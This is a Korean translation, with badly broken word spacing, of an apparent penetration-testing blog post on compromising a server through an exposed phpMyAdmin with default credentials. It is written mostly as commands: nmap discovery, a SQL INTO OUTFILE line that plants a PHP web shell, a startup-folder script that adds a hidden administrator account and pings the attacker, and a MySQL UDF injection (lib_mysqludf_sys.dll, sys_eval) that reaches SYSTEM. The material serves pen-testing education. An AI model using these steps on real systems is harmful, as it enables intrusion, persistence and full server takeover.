phpMyAdmin 이용

4158 단어 phpMyAdmin
원본 주소:
http://pen-testing.sans.org/blog/pen-testing/2013/04/10/putting-the-my-in-phpmyadmin

$ nmap -sT -T3 -PS80,443,8000,8443,8800 -p 80,443,8000,8443,8080 -oA http-enum-results --script=http-enum -iL targets.txt

이 명령 은 정상 속도 (- T3) 로 전체 연결 스 캔 (- ST) 을 진행 합 니 다.웹 서버 는 보통 포트 80, 443, 8000, 8443, 8080 에서 실행 되 기 때문에 이 포트 들 은 호스트 발견 (- PS) 과 검사 (- p) 에 사 용 됩 니 다.나 는 - PN 옵션 보다 - PS 옵션 을 더 좋아한다. 왜냐하면 그것 은 우리 에 게 더 높 은 품질의 정 보 를 주기 때문이다.
우 리 는 스 캔 결 과 를 얻 었 다.
인용 하 다.
Nmap scan report for 172.16.105.194
Host is up (0.00083s latency).
PORT     STATE  SERVICE
80/tcp   closed http
443/tcp  closed https
8000/tcp closed http-alt
8080/tcp open   http-proxy
| http-enum:
|   /phpmyadmin/: phpMyAdmin
|   /phpMyAdmin/: phpMyAdmin
|_  /PHPMyAdmin/: phpMyAdmin
8443/tcp closed https-alt
서버 에서 phpMyAdmin 을 실행 하여 관리자 페이지 에 로그 인 합 니 다.관리자 가 기본 암 호 를 사용 하 는 것 을 발견 하 였 습 니 다.
사실은 이 서버 가 감시 서버 이기 때문이다.phpMyAdmin 은 소프트웨어 패키지 에 묶 여 있 습 니 다.기본적으로 phpMyAdmin 이 설치 되 어 있다 는 것 을 아 는 사람 이 없습니다.
다음은 sql 로 웹 셸 을 업로드 합 니 다.sql 에 셸 을 붙 일 때 "\" 를 사용 하여 "" "를 피 하 는 것 을 기억 하 십시오. 그렇지 않 으 면 sql 이 잘못 되 었 습 니 다.다음 문법 을 사용 하여 phop 셸 code 를 주입 하 였 습 니 다.
select '[escaped php shell code]' INTO OUTFILE 'c:\\inetpub\\wwwroot\\shell.php';

저 는 Laudanum 을 좋아해요.http://sourceforge.net/projects/laudanum/files/) php 셸 은 IP 와 권한 수 여 를 제한 할 수 있 기 때 문 입 니 다.
셸 코드 를 실행 한 후 내 권한 을 알 아야 합 니 다.운행 하 다.
c:\windows\system32\cmd.exe /c whoami"
'nt authority etwork service' 저 권한 계 정 을 되 돌려 줍 니 다.
기술 1. user 부팅 폴 더 를 기록 합 니 다.
... 에 있다
C: \ Documents and Settings \ All Users \ \ Start Menu \ Programs \ \ Startup 폴 더 에 bash 파일 을 만 듭 니 다. 사용자 가 로그 인 할 때 이 파일 은 실 행 됩 니 다.명령 행 창 이 한 순간 팝 업 되 지만 user 가 눈치 채 지 못 할 수도 있 습 니 다.눈 치 를 채 더 라 도 무시 할 수 있다.
명령 은 다음 과 같 습 니 다.

net user timmedin reallyl0ngp@ssw0rd! /add /y
net localgroup administrators timmedin /add
ping -n 1 -w 10 [MyIPaddress]

이 명령 은 로 컬 관리자 계 정 에 user 를 만 듭 니 다. /y 는 팝 업 창 을 건 너 뛰 었 음 을 표시 합 니 다.
평 명령 은 사용자 로그 인 이 나 타 났 음 을 알려 주 는 데 사 용 됩 니 다. -n 1 옵션 은 ping 패 킷 을 보 내 는 것 을 표시 합 니 다. -w 10 명령 을 포기 하기 전에 10 밀리초 를 기다 리라 고 알려 줍 니 다.
기술 2. sql 로 UDF 주입 (user - defined function)
우선 플러그 인 폴 더 를 찾 아야 합 니 다. 다음 명령 을 사용 하 십시오.

select @@plugin_dir
C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin

UDF 라 이브 러 리 를 올 리 도록 하 겠 습 니 다.
이것 은 바 이 너 리 파일 입 니 다. 다행히도 MYSQL 'CHAR ()' 명령 은 바 이 너 리 데 이 터 를 만 드 는 데 사용 할 수 있 습 니 다.예 를 들 어 'SELECT CHAR (72, 69, 76, 76, 79)' 는 'HELLO' 로 돌아간다.우 리 는 아래 python 명령 을 사용 하여 변환 을 실현 할 수 있 습 니 다.
$ python -c "print ','.join([str(x) for x in bytearray(open('lib_mysqludf_sys.dll').read())])"

복사 해서 붙 여 넣 으 면 OUTFILE 을 통 해 파일 을 만 들 수 있 습 니 다.

SELECT CHAR(77,90,144,0,3,0,0,0,4,0,0,0,255,255,...) INTO OUTFILE
  'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\lib_mysqludf_sys.dll'
  FIELDS ESCAPED BY ''

다음, 등록 dll:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_get  RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_set  RETURNS STRING SONAME 'lib_mysqludf_sys.dll';

실행:
SELECT sys_eval('dir') FROM dual
nt authority\system

이제 우 리 는 무엇이든 할 수 있 습 니 다. Meterpreter 셸 (python 과 OUTFILE 을 통 해) 을 올 리 고 sys 를 통 해exec/sys_셸 을 실행 합 니 다.우 리 는 관리자 계 정 을 만 들 수 있다.우 리 는 단말기 서 비 스 를 켜 고 방화벽 을 수정 할 수 있다.

좋은 웹페이지 즐겨찾기